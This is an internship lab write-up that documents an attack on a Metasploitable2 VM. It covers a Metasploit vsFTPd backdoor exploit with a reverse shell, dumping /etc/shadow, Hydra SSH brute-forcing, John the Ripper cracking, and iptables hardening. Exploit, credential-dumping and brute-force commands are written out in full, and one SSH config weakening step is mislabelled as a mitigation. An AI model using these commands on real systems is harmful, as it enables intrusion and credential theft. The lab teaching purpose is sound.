Task 4: Exploitation & System Security Documentation

This repository documents the completion of Task 4 for the ApexPlanet Cybersecurity Internship, focusing on controlled system exploitation, password cracking, and defensive hardening against the **Metasploitable2** VM.

1. Environment Setup

- **Attacker:** Kali Linux (IP: 10.0.2.15)
- **Target:** Metasploitable2 (IP: 192.168.56.101)

*(**Note:** Replace all IP addresses with your actual VM IPs.)*

2. Exploitation & Post-Exploitation (vsFTPd Backdoor)

The first step was gaining root access via the critical vsFTPd vulnerability (CVE-2011-2523).

A. Exploitation with Metasploit

Command	Description
msfconsole	Start the Metasploit Framework.
use exploit/unix/ftp/vsftpd_234_backdoor	Select the correct exploit module.
set RHOSTS 192.168.56.101	Set the target IP address.
set LHOST 10.0.2.15	Set the Kali listening IP (for the reverse shell).
exploit	Execute the exploit and gain root shell (#).

B. Post-Exploitation & Credential Dumping

Command	Description
sessions -i 1	Interact with the session (if necessary).
whoami	Verify root access (root).
uname -a	Gather system information (replaces Metasploit's internal sysinfo).
cat /etc/shadow > shadow.txt	**Dump the hashed password file** for offline cracking.
exit	Return to the Kali prompt.

3. Password Attacks

A. Hydra SSH Brute-Forcing

This demonstrated a network-based attack against the SSH service.

Command	Description
sudo gunzip /usr/share/wordlists/rockyou.txt.gz	Ensure the wordlist is decompressed and

Command	Description
	ready.
sudo nano /etc/ssh/ssh_config	**MITIGATION 1:** Temporarily added KexAlgorithms, HostKeyAlgorithms, and MACs lines to bypass modern SSH security checks for connecting to Metasploitable2's legacy protocol.
hydra -L /usr/share/wordlists/metasploit/unix_users.txt -P /usr/share/wordlists/rockyou.txt 192.168.56.101 ssh -f -V	Executes the brute-force attack on SSH (port 22).
Result:	Successfully found login/password pair (e.g., msfadmin:msfadmin).

B. John the Ripper (Offline Hash Cracking)

This demonstrates offline credential cracking using the dumped /etc/shadow file.

Command	Description
cat passwd.txt shadow.txt > metasploitable_hashes.txt	Combines the necessary files into one format for John the Ripper.
john --wordlist=/usr/share/wordlists/rockyou.txt metasploitable_hashes.txt	Cracks the collected hashes against the wordlist.
john --show metasploitable_hashes.txt	Displays all successfully cracked credentials.

4. System Hardening (Mitigation)

This section demonstrates defensive controls, which can be applied to any Linux production environment.

Command	Description
sudo apt install netfilter-persistent	Installs the service to ensure firewall rules are saved permanently.
sudo iptables -A INPUT -p tcp --dport 23 -j DROP	**MITIGATION 2: Block Vulnerable Services.** Drops all incoming traffic to the Telnet service (Port 23).
sudo iptables -A INPUT -p tcp -m state --state NEW -m recent --update --seconds 60 --hitcount 5 -j DROP	**MITIGATION 3: Anti-Scanning/Brute-Force.** Implements **rate limiting** to drop connections from any single IP if it attempts more than 5 new connections in 60 seconds.
sudo netfilter-persistent save	Saves the applied firewall rules.